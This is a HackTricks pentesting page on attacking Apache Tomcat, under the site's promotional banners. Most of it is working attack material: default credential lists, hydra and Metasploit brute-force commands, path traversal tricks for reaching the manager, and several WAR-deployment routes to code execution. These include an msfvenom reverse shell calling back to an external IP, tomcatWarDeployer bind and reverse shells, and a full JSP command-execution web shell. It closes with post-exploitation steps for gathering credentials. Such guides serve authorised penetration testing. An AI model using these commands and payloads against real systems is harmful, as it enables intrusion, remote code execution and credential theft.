Apache Tomcat 9 (9.0.30) - Documentation Index

# Tomcat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Discovery * It usually runs on **port 8080** * **Common Tomcat error:**

## Enumeration ### Version ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat Apache Tomcat 9 (9.0.30) - Documentation Index use auxiliary/scanner/http/tomcat_enum ``` ### Default credentials The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are: * admin:admin * tomcat:tomcat * admin:\ * admin:s3cr3t * tomcat:s3cr3t * admin:tomcat You could test these and more using: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` Another **interesting Tomcat** path is _**/manager/status**_, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _**/manager/html.**_ ### Bruteforce ```bash hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts ``` ## Vulns ### Password backtrace disclosure Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**. ### Double URL encode A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.** In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_ Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\ To access to backdoor you might also need to use the double urlencode trick. ### /examples The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)). * /examples/jsp/num/numguess.jsp * /examples/jsp/dates/date.jsp * /examples/jsp/snp/snoop.jsp * /examples/jsp/error/error.html * /examples/jsp/sessions/carts.html * /examples/jsp/checkbox/check.html * /examples/jsp/colors/colors.html * /examples/jsp/cal/login.html * /examples/jsp/include/include.jsp * /examples/jsp/forward/forward.jsp * /examples/jsp/plugin/plugin.jsp * /examples/jsp/jsptoserv/jsptoservlet.jsp * /examples/jsp/simpletag/foo.jsp * /examples/jsp/mail/sendmail.jsp * /examples/servlet/HelloWorldExample * /examples/servlet/RequestInfoExample * /examples/servlet/RequestHeaderExample * /examples/servlet/RequestParamExample * /examples/servlet/CookieExample * /examples/servlet/JndiServlet * /examples/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp ### Path Traversal (..;/) In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/` So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html` **Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html` ## RCE Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**. ### Limitations You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post)section). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # deploy under "path" context path curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell" # undeploy curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" ``` ### Metasploit ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost msf exploit(multi/http/tomcat_mgr_upload) > set rport msf exploit(multi/http/tomcat_mgr_upload) > set httpusername msf exploit(multi/http/tomcat_mgr_upload) > set httppassword msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` ### MSFVenom Reverse Shell ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war ``` Then, **upload the `revshell.war` file and access to it (**_**/revshell/**_**)** ### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) In some scenarios this doesn't work (for example old versions of sun) #### Download ```bash git clone https://github.com/mgeeky/tomcatWarDeployer.git ``` #### Reverse shell ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` #### Bind shell ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` ### Using [Culsterd](https://github.com/hatRiot/clusterd) ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` ### Manual method - Web shell Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): ```java <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>

<%=output %>

``` ```bash mkdir webshell cp index.jsp webshell cd webshell jar -cvf ../webshell.war * webshell.war is created # Upload it ``` You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) ### Manual Method 2 Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file: ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp # When this file is uploaded to the manager GUI, the /backup application will be added to the table. # Go to: http://tomcat-site.local:8180/backup/cmd.jsp ``` ## POST Name of Tomcat credentials file is _tomcat-users.xml_ ```bash find / -name tomcat-users.xml 2>/dev/null ``` Other ways to gather Tomcat credentials: ```bash msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` ## Other tomcat scanning tools * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥